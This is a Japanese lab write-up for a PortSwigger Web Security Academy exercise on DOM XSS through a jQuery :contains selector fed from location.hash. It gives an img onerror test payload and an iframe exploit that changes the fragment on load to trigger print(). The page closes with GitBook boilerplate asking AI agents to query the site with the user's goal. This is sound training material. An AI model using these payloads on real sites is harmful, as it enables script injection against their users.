> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/dom-xss-with-jquery-hashchange-event.md).

# jQuery と hashchange を用いた DOM XSS

PortSwigger Web Security Academy のラボ向けメモ。jQuery と hashchange を用いた DOM XSS に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### Hashchangeイベントを使用したjQueryセレクターサンクでのDOM XSS

このラボにはホームページ上にクライアントサイドXSSの脆弱性があります。コードは `$()` jQueryのselector関数を使って、タイトルが次を介して渡された記事を自動的に対象にしています `location.hash`。ラボの目標は、訪問者がそれを開いたときに次を呼び出すエクスプロイトを入手することです `print()` 彼のブラウザ内で。

{% code overflow="wrap" %}

```javascript
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
```

{% endcode %}

* この関数はURLフラグメント（`window.location.hash`）を取得し、 `#` を `slice(1)` を削除し、次でデコードします `decodeURIComponent`.
* このテキストはその後、jQueryの `:contains(...)` セレクターに直接連結されます。エスケープがないため、特別に構成されたコンテンツによって構文が壊れ、次のような手段でHTML/JSを注入できます `onerror` 属性。
* このコードは、ハッシュが変更されたときにのみアクションをトリガーします（`hashchange`）そのため、ハッシュのない単純な初期リンクでは、クライアント側でフラグメントが変更されるまで何もトリガーされません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72e739e42d7ac7f428b5f11532a31220b6d6c6c9%2F%7B75B58B79-B8E8-4E61-9F0F-2BA78CC97674%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-421c69bf8c84041bc1ab2aa762f0f0711e190822%2F%7B9FABD413-D13E-4D1F-AE12-C52F44582129%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* ここでは、次の変更が `#` イベントを発生させることを利用します。したがって、エクスプロイトは被害者のブラウザに、ペイロードを含むフラグメント付きURLを読み込ませる必要があります。
* 一般的な方法は、次を使用することです `<iframe>` ターゲットページを参照するもので、その後、 `onload`中に、その `src` を動的に変更して、悪意のあるフラグメントを追加します（これにより `hashchange` と、脆弱なセレクターの実行が発生します）。
* 注入されたペイロードは、 `print()` 被害者のコンテキストで実行されるようにしなければなりません。

画像エラーを発生させる基本的なインジェクション（テスト）:

```javascript
#<img src="test" onerror=alert(0)>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b9b9d4d12bf36aeb6f7d11bfc4d786f5ff0ef7f%2F%7BD8906418-2217-4140-BAA6-88590C5C9646%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17a83984dfdbd1ca905175f7bb85234dfc819fbb%2F%7BDF13872F-5551-449B-BD26-9FC153B38BE5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* iframeを使ったエクスプロイト — 第1版（alert）:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>
```

{% endcode %}

* 最終エクスプロイト： `print()` （調整版）:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3cd6b8714467f009d04945cec7567ed5aa6722ac%2F%7B1098B7F6-49F7-4AB7-9300-F0E5029C0F16%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xss/dom-xss-with-jquery-hashchange-event.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
